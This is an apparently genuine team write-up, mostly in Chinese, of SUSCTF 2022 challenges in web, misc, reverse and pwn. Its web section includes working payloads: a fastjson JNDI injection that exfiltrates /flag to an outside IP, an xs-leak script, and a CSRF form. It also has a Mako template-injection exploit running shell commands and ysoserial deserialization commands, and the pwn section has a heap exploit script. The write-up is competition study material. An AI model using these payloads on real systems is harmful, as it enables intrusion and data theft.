SUSCTF 2022 By W&M
WEB
baby gadget v1.0
admin admin123
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi:IP:1099/Exploit"}
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
修改HackerRMIRefServer.java和Exploit.java几个点
外带flag
new java.net.URL("http://1.15.67.142:1337/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
baby gadget v1.0's rrrevenge
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://ip:1099/Exploit"}
一样。
ez_note
提交地址的地方直接http://
开头就能覆盖掉site,让bot访问自己的vps
xs-leak /search?q=处盲注
已知flag格式SUSCTF{[a-z0-9_]*}
可以用SUSCTF{
开头
因为要让/search 带cookie 必须通过 link ref prefetch
,window.location.href
,window.open
,form method=GET
的其中一种来访问,除了window.open
以外的拿不到任何有关结果的信息,所以只剩这一种选择
/search 如果搜索到(唯一结果),会跳转,那么window.history会多一个,以此作为条件,来进行盲注
把window.location.href=about:blank或者自己的域就可以重新获得window.history的访问权
注一次需要大概三秒的时间,所以通过并发(异步)来节省时间,五秒内一次性打开30个window,其中一个命中即可
手撕13次recaptcha
SUSCTF{a_sh0rt_fl4g}
<html>
<head>
<meta charset="utf-8" />
<script>
</script>
</head>
<body>
</body>
<script>
//傻逼js。。。变量传下去 值就变了。。。
windows = []
async function testForFlag1(flag){
return new Promise((resolve,reject) => {
w = window.open();
windows[flag] = w;
url = "http://123.60.29.171:10001/search?q="+flag+"&x="+Date.now();
windows[flag].location.href = url
setTimeout(()=>{
windows[flag].location.href = "about:blank"
setTimeout(()=>{
result = windows[flag].history.length == 3
resolve([flag,result])
},100)
},3000)
});
}
flag = "SUSCTF{a_sh0rt_fl4g"
dict = "abcdefghijklmnopqrstuvwxyz0123456789_}"
function multi(){
for(var i = 0 ; i < dict.length; i ++ ) {
lFlag = flag + dict[i]
testForFlag1(lFlag).then(r => {
console.log(r[0],r[1])
if(r[1]){
fetch("/flag?"+r[0])
}
})
}
}
multi()
</script>
</html>
fxxkcors
1.Chrome 80以后默认的cookie samesite是lax模式,但是在cookie被设置/更新的2分钟内作为none模式对待(但是XHR依然不行,需要form post)
(需要是samesite不存在的默认,显式指定samesite=lax不行)
https://chromestatus.com/feature/5088147346030592
2.form设置enctype="text/plain"
避免被urlencode
3.form拼凑一个json出来
<html>
<head>
</head>
<body>
<form method="post" enctype="text/plain" action="http://124.71.205.122:10002/changeapi.php" id="a">
<input value='cw"}' name='{"username":"' />
<input type="submit" />
</form>
</body>
<script>
function c(){
a.submit();
}
setTimeout(c,1000)
</script>
</html>
SUSCTF{fxxK_4h3_c0Rs_oUt}
rubbish maker
手撕混淆
1.有那么大一个函数用来混淆函数名,直接把这个函数带参数跑一遍就能知道被混淆的字符串是什么,全局替换即可,但是里面插了一些closure函数(就是把+ - ?? << 等运算符做成匿名函数了)
2.php-parse写脚本把closure函数转换回对应的运算符
3.PHPDeobfuscator进行反混淆,反base64,gzip,运算符常数运算等,这个库都做好了(建议把里面的eval反混淆注释掉,否则反混淆完跑不动)
4.把一些parse_str,join,$xxx ?? 111
类型的没有反混淆的进行反混淆,正则替换就行
4.readflag逻辑,有好多种可能的情况,要自己撕,比如switch里的eval就是假的。。。写了两三个小时
总共的代码块是一样的,代码块的顺序,其中的数值,变量名,运算符,会被混淆,会插入随机的goto
getflag用到的是这一个代码块
if ($_GET[$varForFlag] && $challengeEq1 == $challengeEq2 && $challengeCompareVar > 1000 && !strpos($_GET[$varForFlag], "/flag")) {
readfile($_GET[$varForFlag]);
}
其中用到的变量
$challengeEq2 在一个没有else的if里赋值
$challengeEq1 在一个else里赋值
$challengeCompareVar 直接通过GET进行赋值
$varForFlag switch里分支4赋值
为了走到上面的代码快,有可能其他的if goto需要的GET参数要加或者不加,每次跑的不一样
<?php
//反混淆完长这样
error_reporting(0);
$challengeCompareVar = $tempVar1 = $tempVar2 = $challengeEq2 = $challengeEq1 = $varForFlag = null;
if (function_exists("phpdbg_clear")) {
phpdbg_clear();
}
$challengeCompareVar = $_GET["ziEz"];
$tempVar1 = $_GET["tReb"];
OjRanJYA:
$tempVar2 = $_GET["NNNI"];
wBAESwqj:
if (function_exists("phpdbg_prompt")) {
phpdbg_prompt("error occurred");
}
NktpVEoY:
if (php_sapi_name() == 'phpdbg') {
return;
}
if ($challengeCompareVar + $tempVar1 + $tempVar2 == 562) {
$challengeEq2 = $_GET[$challengeCompareVar];
}
if (!$_SERVER["REMOTE_ADDR"]) {
return;
}
if ($challengeCompareVar + $tempVar1 + $tempVar2 == 344) {
$challengeEq1 = $_GET[$tempVar1];
} else {
$challengeEq1 = $challengeCompareVar + $tempVar1 + $tempVar2;
}
DAnzJrCc:
if ($_GET['vahiZqNm'] == 'VaHiVcZs') {
goto wBAESwqj;
}
if (function_exists("xdebug_is_debugger_active")) {
if (xdebug_is_debugger_active() && function_exists("xdebug_break")) {
while (true) {
eval("while(true){xdebug_break();}");
xdebug_break();
}
}
}
if ($_GET['MOwhezGD'] == 'wuPYmYWA') {
goto NktpVEoY;
}
switch ($_GET[$challengeEq2]) {
case 1:
$challengeEq2 = '/flag';
break;
case 2:
$challengeEq1 = $_GET[$tempVar1];
break;
case 3:
eval($challengeEq1);
break;
case 4:
$varForFlag = "lyMWQtlk";
break;
default:
break;
}
if (function_exists("xdebug_disable")) {
xdebug_disable();
}
$gkWvxlvq = microtime() * 1000;
if ($_GET['ZhsvrKWH'] !== 'FhIKFIDi') {
eval("1+1;");
$WsBwVFzg = microtime() * 1000;
if ($_GET['GBHltWIr'] == 'AifMpfVB') {
goto DAnzJrCc;
}
if ($WsBwVFzg - $gkWvxlvq > 100) {
return;
}
if ($_GET[$varForFlag] && $challengeEq1 == $challengeEq2 && $challengeCompareVar > 1000 && !strpos($_GET[$varForFlag], "/flag")) {
readfile($_GET[$varForFlag]);
}
if ($challengeCompareVar - $tempVar1 == 780) {
$challengeEq2 = $_GET[$challengeCompareVar];
}
if (substr($challengeCompareVar, $tempVar1) == 1) {
$challengeEq1 = $_GET[$challengeCompareVar];
}
$varForFlag = 'obTwiqMR';
if (function_exists("xdebug_is_enabled")) {
echo "error occurred";
die(0);
}
if (function_exists('xdebug_get_tracefile_name')) {
$ZvZSvGek = xdebug_get_tracefile_name();
if ($ZvZSvGek !== false) {
file_put_contents(xdebug_stop_trace(), "error occurred");
}
}
return;
}
goto OjRanJYA;
scripts
main.py
import re,base64
import re,subprocess
import os
filename = "6.txt"
tmpfilename = "test.tmp"
with open(filename,"rb") as file:
data = file.read()
#去他的encoding,全部用bytes...
odata = data
php_template = b'''<?php
error_reporting(0);
function closure_dump($c) {
$str = 'function (';
$r = new ReflectionFunction($c);
$params = array();
foreach($r->getParameters() as $p) {
$s = '';
if($p->isArray()) {
$s .= 'array ';
} else if($p->getClass()) {
$s .= $p->getClass()->name . ' ';
}
if($p->isPassedByReference()){
$s .= '&';
}
$s .= '$' . $p->name;
if($p->isOptional()) {
$s .= ' = ' . var_export($p->getDefaultValue(), TRUE);
}
$params []= $s;
}
$str .= implode(', ', $params);
$str .= '){' . PHP_EOL;
$lines = file($r->getFileName());
for($l = $r->getStartLine(); $l < $r->getEndLine(); $l++) {
$str .= $lines[$l];
}
return $str;
}
include '{filename}';
$result = {calling};
if(is_string($result)){
if(!is_callable($result)){
print("'".$result."'");
}else{
print($result);
}
}else{
//print("<closure>");
print(closure_dump($result));
}
'''
closure_funcs = []
def closure_parse(resp):
global closure_funcs
funcid = len(closure_funcs)
funcname = "closure_func_%d" % funcid
resp = resp.replace(b"function ",b"function "+funcname.encode())
closure_funcs.append(resp)
return funcname.encode()
closure_funcs = [b'''
function closure_func_mod($xzLVeMjv, $hkDxZCZX){
return $xzLVeMjv % $hkDxZCZX;
};
function closure_func_uinary($SyOHRTnn, $vdCksiFm){
return $SyOHRTnn ?? $vdCksiFm;
};
function closure_func_times($VNnwrwxk, $SPfNXLUZ){
return $VNnwrwxk * $SPfNXLUZ;
};
function closure_func_and($ASURejqo, $gyGEFjcL){
return $ASURejqo && $gyGEFjcL;
};
function closure_func_left($qUNEFGcb, $daOiGCNi){
return $qUNEFGcb << $daOiGCNi;
};
function closure_func_minus($LyuYNEuR, $OsHUKHMq){
return $LyuYNEuR - $OsHUKHMq;
};
function closure_func_equals($iXTaRCLr, $PcLNcHEo){
return $iXTaRCLr == $PcLNcHEo;
};
function closure_func_or($VebNtgmO, $ILhqQZFN){
return $VebNtgmO || $ILhqQZFN;
};
function closure_func_notequals($sGLAijNS, $pLSieIWL){
return $sGLAijNS !== $pLSieIWL;
};
function closure_func_plus($eeYHAIdc, $xdyLWOFX){
return $eeYHAIdc + $xdyLWOFX;
};
function closure_func_gt($wnIydgnV, $KhbxKCjx){
return $wnIydgnV > $KhbxKCjx;
};
function closure_func_empty($wnIydgnV, $KhbxKCjx){
};
''']
def closure_parse(resp):
if b' % ' in resp:
return b'closure_func_mod'
if b' ?? ' in resp:
return b'closure_func_uinary'
if b' * ' in resp:
return b'closure_func_times'
if b' && ' in resp:
return b'closure_func_and'
if b' << ' in resp:
return b'closure_func_left'
if b' - ' in resp:
return b'closure_func_minus'
if b' == ' in resp:
return b'closure_func_equals'
if b' || ' in resp:
return b'closure_func_or'
if b' !== ' in resp:
return b'closure_func_notequals'
if b' + ' in resp:
return b'closure_func_plus'
if b' > ' in resp:
return b'closure_func_gt'
if b'{\n };' in resp:
return b'closure_func_empty'
raise resp
#主函数名字
MAIN_FUNC_NAME = re.compile(rb"function ([a-zA-Z0-9]+?)\(")
MAIN_FUNC_NAME = re.findall(MAIN_FUNC_NAME,data)[0]
REGEX_MAIN_FUNC = MAIN_FUNC_NAME + rb"\('.+?'\)"
REGEX_MAIN_FUNC = re.compile(REGEX_MAIN_FUNC,re.S)
data = data[6:] #去除<?php
#data = data[data.find(b'\n}\ngoto ')+len(b'\n}\ngoto '):] #去除main函数
#find all main func and replace them all.
all_main_func = re.findall(REGEX_MAIN_FUNC,data)
all_main_func = list(set(all_main_func))
for i in all_main_func:
command = php_template.replace(b"{filename}",filename.encode()).replace(b"{calling}",i)
with open(tmpfilename,"wb") as file:
file.write(command)
ps = subprocess.Popen([b"php",tmpfilename],stdout=subprocess.PIPE)
resp = ps.communicate()[0]
print(i,resp)
if ps.returncode != 0 or resp == b'':
raise ps
if not resp.startswith(b"function "):
if resp.startswith(b"'") and resp.endswith(b"'"): #修正phpparser不支持的'xxx'(),我本地没有这些函数
if resp.startswith(b"'xdebug_") or \
resp.startswith(b"'phpdbg_"):
resp = resp[1:-1]
data = data.replace(i,resp)
else: #closure
resp = closure_parse(resp)
data = data.replace(i,resp)
newdata = b"<?php\n"
for i in closure_funcs:
newdata += i
newdata += data
with open(filename+".modified.php","wb") as file:
file.write(newdata)
#修closure
os.system(f"php PHPDeobfuscator/test.php ./{filename}.modified.php > ./{filename}.modified.decloshure.php")
#修join 和 parse_str 和 null ?? number 表达式
with open(f"./{filename}.modified.decloshure.php","rb") as file:
data = file.read()
for _ in range(5):
'''
parse_str('sqfH=eGRlYnVnX2dldF90cmFjZWZpbGVfbmFtZQ==', $eWzyBNpD) || $eWzyBNpD ? base64_decode($eWzyBNpD['sqfH']) : $eWzyBNpD)
'''
r1 = re.compile(rb"parse_str\('[a-zA-Z0-9]+=([a-zA-Z0-9=]+)', \$[a-zA-Z0-9]+\) \|\| \$[a-zA-Z0-9]+ \? base64_decode\(\$[a-zA-Z0-9]+\['[a-zA-Z0-9]+'\]\) : \$[a-zA-Z0-9]+")
def sub(m):
result = base64.b64decode(m.group(1))
result = b"'" + result + b"'"
return result
data = re.sub(r1,sub,data)
'''
join('', array('Z', 'X', 'J', 'y', 'b', '3', 'I', 'g', 'b', '2', 'N', 'j', 'd', 'X', 'J', 'y', 'Z', 'W', 'Q', '='))
'''
r1 = re.compile(rb"join\('', array\(([^\)]+)\)\)")
def sub(m):
datas = m.group(1).decode()
datas = eval("[" + datas + "]")
result = "".join(datas)
result = "'" + result + "'"
return result.encode()
data = re.sub(r1,sub,data)
'''
($UJlWVuFM ?? 285)
'''
r1 = re.compile(rb"\$[a-zA-Z0-9]+ \?\? (\d+)")
def sub(m):
result = m.group(1)
return result
data = re.sub(r1,sub,data)
with open(f"./{filename}.modified.decloshure.php","wb") as file:
file.write(data)
os.system(f"php PHPDeobfuscator/index.php -f ./{filename}.modified.decloshure.php > ./{filename}.modified.decloshure.deobfuscated.php")
#下面的全都是逻辑分析。。。烦得很,反正能用
#把几个关键变量标记出来
#并且提取几个计算的值。
challengeCompareValue = -1
ifWithoutElseValue = -1
ifElseValue = -1
challengeCompareVarSetter = ""
tempVar1Setter = ""
tempVar2Setter = ""
switchFlagSetter = ""
with open(f"./{filename}.modified.decloshure.deobfuscated.php","rb") as file:
data = file.read()
'''
if ($_GET[$YxRPHcXd] && $YEsrbLzH == $aiDFQfwQ && $ZEgEIVYQ > 1000 && !strpos($_GET[$YxRPHcXd], "/flag")) {
'''
r1 = re.compile(rb'(if \(\$_GET\[\$([a-zA-z0-9_]+)\] && \$([a-zA-z0-9_]+) == \$([a-zA-z0-9_]+) && \$([a-zA-z0-9_]+) > ([a-zA-z0-9_]+) && !strpos\(\$_GET\[\$([a-zA-z0-9_]+)\], "/flag"\)\) {)')
def sub(m):
global data,challengeCompareValue
result = b'$'+m.group(1)
varForFlag = b'$'+m.group(2)
data = data.replace(varForFlag,b"$varForFlag")
challengeEq1 = b'$'+m.group(3)
data = data.replace(challengeEq1,b"$challengeEq1")
challengeEq2 = b'$'+m.group(4)
data = data.replace(challengeEq2,b"$challengeEq2")
challengeCompareVar = b'$'+m.group(5)
data = data.replace(challengeCompareVar,b"$challengeCompareVar")
challengeCompareValue = int(m.group(6))
assert challengeCompareValue == 1000, "not 1000??"
return result
re.sub(r1,sub,data)
'''
if ($challengeCompareVar + $JGyuCLph + $MwCIYhGC == 619) {
'''
r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$([a-zA-z0-9_]+) \+ \$([a-zA-z0-9_]+) == (\d+)\) {')
def sub(m):
global data
tempVar1 = b'$'+m.group(1)
data = data.replace(tempVar1,b"$tempVar1")
tempVar2 = b'$'+m.group(2)
data = data.replace(tempVar2,b"$tempVar2")
return b""
re.sub(r1,sub,data)
'''没有else的if,也就是里面是challengeEq2的if
if ($challengeCompareVar + $tempVar1 + $tempVar2 == 619) {
$challengeEq2
'''
r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$tempVar1 \+ \$tempVar2 == (\d+)\) {[ \n\r]+\$challengeEq2')
def sub(m):
global data,ifWithoutElseValue
ifWithoutElseValue = int(m.group(1))
return b""
re.sub(r1,sub,data)
'''有else的if,也就是里面是challengeEq1的if
'''
r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$tempVar1 \+ \$tempVar2 == (\d+)\) {[ \n\r]+\$challengeEq1')
def sub(m):
global data,ifElseValue
ifElseValue = int(m.group(1))
return b""
re.sub(r1,sub,data)
'''
$challengeCompareVar = $_GET["mKsI"];
'''
r1 = re.compile(rb'\$challengeCompareVar = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
def sub(m):
global data,challengeCompareVarSetter
challengeCompareVarSetter = m.group(1).decode()
return b""
re.sub(r1,sub,data)
r1 = re.compile(rb'\$tempVar1 = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
def sub(m):
global data,tempVar1Setter
tempVar1Setter = m.group(1).decode()
return b""
re.sub(r1,sub,data)
r1 = re.compile(rb'\$tempVar2 = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
def sub(m):
global data,tempVar2Setter
tempVar2Setter = m.group(1).decode()
return b""
re.sub(r1,sub,data)
'''
case 4:
$varForFlag = "BnTVCCeq";
'''
r1 = re.compile(rb'case 4:[ \r\n]+\$varForFlag = "([a-zA-Z0-9]+)";')
def sub(m):
global data,switchFlagSetter
switchFlagSetter = m.group(1).decode()
return b""
re.sub(r1,sub,data)
with open(f"./{filename}.modified.decloshure.deobfuscated.php","wb") as file:
file.write(data)
print(challengeCompareValue,
ifWithoutElseValue,
ifElseValue,
challengeCompareVarSetter,
tempVar1Setter,
tempVar2Setter,
switchFlagSetter
)
#计算几个值
challengeCompareVarShouldBe = 2000
assert challengeCompareVarShouldBe > challengeCompareValue;
tempVar1ShouldBe = -1000
tempVar2ShouldBe = ifWithoutElseValue - challengeCompareVarShouldBe - tempVar1ShouldBe;
data = {}
data[challengeCompareVarSetter] = str(challengeCompareVarShouldBe);
data[tempVar1Setter] = str(tempVar1ShouldBe)
data[tempVar2Setter] = str(tempVar2ShouldBe)
data[switchFlagSetter] = "/flag"
data[str(challengeCompareVarShouldBe)] = str(ifWithoutElseValue) #$challengeEq2 = $_GET[$challengeCompareVar];
data[str(ifWithoutElseValue)] = str(4) #$switch ($_GET[$challengeEq2]) {
print(data)
PHPDeobfuscator/test.php
<?php
require 'vendor/autoload.php';
use PhpParser\Node;
use PhpParser\Node\Stmt;
use PhpParser\Node\Stmt\Function_;
use PhpParser\Node\Stmt\Expr_FuncCall;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitorAbstract;
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\Node\Expr\BinaryOp;
use PhpParser\PrettyPrinter;
$code = <<<'CODE'
<?php
test_a(1,2);
closure_func_left($bbb,2);
$aaa > 2;
CODE;
$code = file_get_contents($argv[1]) ?? $code;
/*
$mapping = array(
"closure_func_mod" => Expr_BinaryOp_Mod,
"closure_func_uinary" => Expr_BinaryOp_Coalesce,
"closure_func_times" => Expr_BinaryOp_Mul,
"closure_func_and" => Expr_BinaryOp_BooleanAnd,
"closure_func_left" => Expr_BinaryOp_ShiftLeft,
"closure_func_minus" => Expr_BinaryOp_Minus,
"closure_func_equals" => Expr_BinaryOp_Equal,
"closure_func_or" => Expr_BinaryOp_BooleanOr,
"closure_func_notequals" => Expr_BinaryOp_NotIdentical,
"closure_func_plus" => Expr_BinaryOp_Plus,
"closure_func_gt" => Expr_BinaryOp_Greater);
*/
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$dumper = new NodeDumper;
$traverser = new NodeTraverser();
$traverser->addVisitor(new class extends NodeVisitorAbstract {
public function enterNode(Node $node) {
$mapping = array(
"closure_func_mod" => 'PhpParser\Node\Expr\BinaryOp\Mod',
"closure_func_uinary" => 'PhpParser\Node\Expr\BinaryOp\Coalesce',
"closure_func_times" => 'PhpParser\Node\Expr\BinaryOp\Mul',
"closure_func_and" => 'PhpParser\Node\Expr\BinaryOp\BooleanAnd',
"closure_func_left" => 'PhpParser\Node\Expr\BinaryOp\ShiftLeft',
"closure_func_minus" => 'PhpParser\Node\Expr\BinaryOp\Minus',
"closure_func_equals" => 'PhpParser\Node\Expr\BinaryOp\Equal',
"closure_func_or" => 'PhpParser\Node\Expr\BinaryOp\BooleanOr',
"closure_func_notequals" => 'PhpParser\Node\Expr\BinaryOp\NotIdentical',
"closure_func_plus" => 'PhpParser\Node\Expr\BinaryOp\Plus',
"closure_func_gt" => 'PhpParser\Node\Expr\BinaryOp\Greater');
$name = @$node->name->parts[0];
if($name){
$replace = @$mapping[$name];
if($replace){
$newclazz = new $replace($node->args[0]->value,$node->args[1]->value);
return $newclazz;
}
}
}
});
$ast = $traverser->traverse($ast);
$prettyPrinter = new PrettyPrinter\Standard;
echo $prettyPrinter->prettyPrintFile($ast);
remote.py
ip = "http://123.60.67.19/"
path = "/code/9f13e2a4d518f8356981ae2b96a252ca/index.php"
data = {'ziEz': '2000', 'tReb': '-1000', 'NNNI': '-438', 'lyMWQtlk': '/flag', '2000': '562', '562': '4'}
import requests
resp = requests.get(ip + path,params=data)
print(resp.text)
HTML Practice
打错了访问到了这个http://124.71.178.252//generate
Absolute URI not allowed if server is not a proxy.
发现是cherrypy,找找常用的模板引擎,发现是mako
https://docs.makotemplates.org/en/latest/syntax.html#control-structures
POC:
% for i in range(10):
1
% endfor
发现他是拼接代码生成模板的
写个工具测试一下
import requests,re
from mako.template import Template
def make():
with open("tool12.html") as file:
code = file.read()
t = Template(code + "hello ${data}!")
print(t._code)
return t.render(data="world")
if __name__ == '__main__':
print(make())
发现输出的主体大致如下
def render_body(context,**pageargs):
__M_caller = context.caller_stack._push_frame()
try:
__M_locals = __M_dict_builtin(pageargs=pageargs)
data = context.get('data', UNDEFINED)
eval = context.get('eval', UNDEFINED)
__M_writer = context.writer()
for i in range(10):
__M_writer('\n')
__M_writer('hello ')
__M_writer(str(data))
__M_writer('!')
return ''
finally:
context.caller_stack._pop_frame()
然后用unicode绕过一下,带数据用__M_writer("aaa")
Exp:
import requests
import re
RE = re.compile(r"view/(.+)\?name=Hello")
url = "http://124.71.178.252"
black = [
"eval",
"open",
"class",
"globals",
"local",
"if"
]
i = """
%for i in eval(name):
1
%endfor
"""
r = requests.post(url + "/generate", data={
"html": i
}).text
if 'hacker' in r or 'error' in r:
print(r)
else:
u = RE.findall(r)[0]
r = requests.get(url + "/view/" + u, params={
"name": "(__M_writer(__import__('os').popen('cat /flag').read()),)"
}).text
print(r)
baby gadget v2.0
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient ip:1388|base64
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollectctions6 "command"
baby gadget v2.0' revenge
和上面的方法一样
MISC
Tanner
WIKI: https://en.wikipedia.org/wiki/Tanner_graph
写个脚本遍历一下
import hashlib
import libnum
mat = [
[0,1,2,3],
[0,4,5,6],
[1,4,7,8],
[2,5,7,9],
[3,6,8,9],
]
s = 0
for i in range(0, 1<<10):
bit = [int(i) for i in bin(i)[2:].zfill(10)]
f = ''.join([bin(sum(bit[t] for t in line))[-1] for line in mat])
if int(f) == 0:
print(i)
s += i
print(s,bin(s))
print("SUSCTF{"+hashlib.sha256(bin(s)[2:].encode()).hexdigest()+"}")
ra2
唯一一个自定义的,只有
bill_board: cala10
Owner: Neutral
Location: 192,51
啥工具也不要,直接把他的坐标改到出生点就行了。
misound
。。。太脑洞了,首先听声音得到是ROBOT36但是这个到最后都没用上,然后看频谱图,发现中间有字母
拼起来是AnEWmuLTiPLyis_etimes_wiLLbEcomE_B
,这是一个hint也是一个key,加上其他hint可以知道逻辑大概是e的ascii乘上_的ascii最后等于B的ascii乘上某东西,然后就写脚本,最后爆了一下得到flag,这里给出脚本
import math
# a = [ord(i) for i in 'NQHFEAOUUUSHLMCJQRFLFNMKGQAOLDWBBI']
b = '207 359 220 224 352 315 359 374 290 310 277 507 391 513 423 392 508 383 440 322 420 427 503 460 295 318 245 302 407 414 410 130 369 317'.split(' ')
c = [ord(i) for i in 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B']
# print(c)
# x = ord('B') / ord('e')
# def isPrime(n):
# if n <= 1:
# return False
# for i in range(2, int(math.sqrt(n)) + 1):
# if n % i == 0:
# return False
# return True
# print(b)
# print([isPrime(int(i)) for i in b])
a2 = []
# for i in a:
# a2.append(int(i,2))
b2 = []
for i in b:
b2.append(int(i))
# print(c)
c2 = []
# for i in range(34):
# print(chr(a2[i]+96),end='')
# print()
# for i in range(34):
# print(chr(int(a2[i]/x)),end='')
res = []
for i in b2:
res.append(95*101//i)
print(res)
res2 = []
for i in range(34):
res2.append(95*101-res[i]*b2[i])#_*e = ? * b
# test = [ord(i) for i in 'SUSCTF{']
for i in range(34):
flag = ''
for j in range(34):
flag+=chr(round((b2[j]*res[i]+res2[i])/c[j]))
if 'SUSCTF' in flag:
print(flag)
break
SUSCTF{tHe_matter_iS_unremArkab1e}
audio
把两段音频同时拖进audacity里面,然后分别对音频进行标准化,然后分别截去静音,然后对fromfriends.wav进行反相操作,而后把两段音频叠起来即可
checkin
对机器人私聊发 >flag
,手速快截图到即可。
Reverse
hell_world
找到一个主要的函数,具体的功能都是调用这里
getc获取输入后,下面判断了长度
此处作为索引,每一位都进行了一次比较,大致可以确定是诸位比较的。
下面是进行对比的数组,处理的过程是将其转换成二进制 每一位加2。再case 10的位置同样的处理另一个数组,后面的循环似乎是类似于异或的处理。 验证了一组数据,发现可行,直接写脚本。
dword_5C50 = [0x00000056, 0x000000DA, 0x000000CD, 0x0000003A, 0x0000007E, 0x00000086, 0x00000013, 0x000000B5, 0x0000001D, 0x0000009D, 0x000000FC, 0x00000097, 0x0000008C, 0x00000031, 0x0000006B, 0x000000C9, 0x000000FB, 0x0000001A, 0x000000E2, 0x0000002D, 0x000000DC, 0x000000D3, 0x000000F1, 0x000000F4, 0x00000036, 0x00000009, 0x00000020, 0x00000042, 0x00000004, 0x0000006A, 0x00000071, 0x00000053, 0x00000078, 0x000000A4, 0x00000097, 0x0000008F, 0x0000007A, 0x00000072, 0x00000039, 0x000000E8, 0x0000003D, 0x000000FA, 0x00000040, 0x0000003D, 0x00000198, 0x00000000, 0x00000000, 0x00000000]
dword_5B80 = [0x00000005, 0x0000008F, 0x0000009E, 0x00000079, 0x0000002A, 0x000000C0, 0x00000068, 0x00000081, 0x0000002D, 0x000000FC, 0x000000CF, 0x000000A4, 0x000000B5, 0x00000055, 0x0000005F, 0x000000E4, 0x0000009D, 0x00000023, 0x000000D6, 0x0000001D, 0x000000F1, 0x000000E7, 0x00000097, 0x00000091, 0x00000006, 0x00000024, 0x00000042, 0x00000071, 0x0000003C, 0x00000058, 0x0000005C, 0x00000030, 0x00000019, 0x000000C6, 0x000000F5, 0x000000BC, 0x0000004B, 0x00000042, 0x0000005D, 0x000000DA, 0x00000058, 0x0000009B, 0x00000024, 0x00000040]
s = ""
for i in range(len(dword_5B80)):
dword_5B80_str = "{0:0>8b}".format(dword_5B80[i]).replace("0","2").replace("1","3")
dword_5C50_str = "{0:0>8b}".format(dword_5C50[i])
print dword_5B80_str,dword_5C50_str
s += chr(dword_5C50[i] ^ dword_5B80[i])
print s
# 23322333
# 22222323
# 00110001
# 01010110
DigitalCircuits
通过pyinstxtractor解包后
补全头部后反编译
因为看到了32轮,所以不难猜出这是个tea算法,直接解密即可
PWN
rain
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./rain"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("ch> ", str(idx))
def config(screen_height, screen_width, font_color, back_color, rainfall, table):
choice(1)
buf = p32(screen_height) + p32(screen_width) + (p8(font_color) + p8(back_color)) + p32(rainfall)
buf = buf.ljust(18, '\x00')
buf += table
sh.sendafter("FRAME> ", buf)
def print_info():
choice(2)
def rain():
choice(3)
def pwn(sh, elf, libc):
context.log_level = "debug"
config(0, 0, 0, 0, 0, "a" * 0x40)
rain()
config(0, 0, 0, 0, 0, "a" * 0x68)
config(0, 0, 1, 1, 0, "")
config(0, 0, 1, 1, 0, "")
print_info()
sh.recvuntil('Table: ')
heap_offset = u64(sh.recvuntil('\n\n', drop=True).ljust(8, '\x00'))
log.success("heap_offset:\t" + hex(heap_offset))
config(0, 0, 1, 1, 0, p64(heap_offset + 0x8db0).ljust(0x68, 'a'))
rain()
config(0, 0, 1, 1, 0, 'a' * 0x68)
rain()
stdout_addr = 0x603020
print_addr = 0x400E17
